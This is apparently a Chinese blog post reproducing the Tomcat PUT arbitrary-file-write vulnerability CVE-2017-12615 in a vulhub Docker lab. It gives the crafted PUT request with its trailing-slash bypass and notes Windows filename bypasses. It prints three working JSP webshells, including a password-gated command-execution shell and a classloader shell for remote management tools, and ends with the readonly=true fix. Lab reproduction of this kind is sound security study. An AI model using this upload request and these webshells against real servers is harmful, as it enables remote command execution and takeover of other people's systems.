tomcat通过PUT方法任意文件写入(CVE-2017-12615)漏洞复现
漏洞描述
Tomcat中如果在配置文件中设置了readonly=false
,就会产生任意文件上传漏洞。
readonly
的值默认是true
,即不允许请求头delete和put操作,如果设置该参数为false
,就可以通过put
请求方法上传任意文件,例如jsp
后门
漏洞利用
使用vulhub
进行漏洞复现
cd vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d
成功启动
请求头格式如下:
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell
上述上传成功后就会在web目录生成一个内容为shell的1.jsp文件,只需要更改为jsp
代码即可
使用burp
抓包修改请求头,将GET
改为PUT
,修改请求的文件名就是上传的文件名,在POST
传输数据传入jsp
木马内容,
请求的地址为想要写入的文件名,例如这里是/1.jsp
,为什么要加入/1.jsp/
呢?
是因为tomcat解析到后缀名为jsp
或者jspx
的时候会交给JspServlet
,最后的/
是因为文件名特性最后不支持/
默认会去除就可以绕过JspServlet
文件的解析
具体原理可以参考https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e
这里vulhub
靶机的实验环境是Linux
,在Windows
中我们可以利用Windows
的文件名特性,例如后缀名空格去除或者是常用的::$DATA
NTFS文件流绕过
上传后使用访问进行命令执行
jsp木马参考:https://juejin.cn/post/7105300421089951775
有回显的jsp木马
<%
if ("ocean".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while ((a = in.read(b)) != -1) {
out.print(new String(b));
}
out.print("</pre>");
}
%>
使用方法需要传入一个pwd
为密码,密码为ocean
可以自定义,之后传入cmd
参数执行系统命令
默认的jsp一句话木马
<% Runtime.getRuntime().exec(request.getParameter("i"));%>
缺点很多,无法使用工具连接,并且没有命令回显
工具可以连接的jsp木马
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
修复建议
将readonly
的值改为true
即可防止该漏洞
修改web.xml
中readonly
的值为true
再次利用失败
实验结束。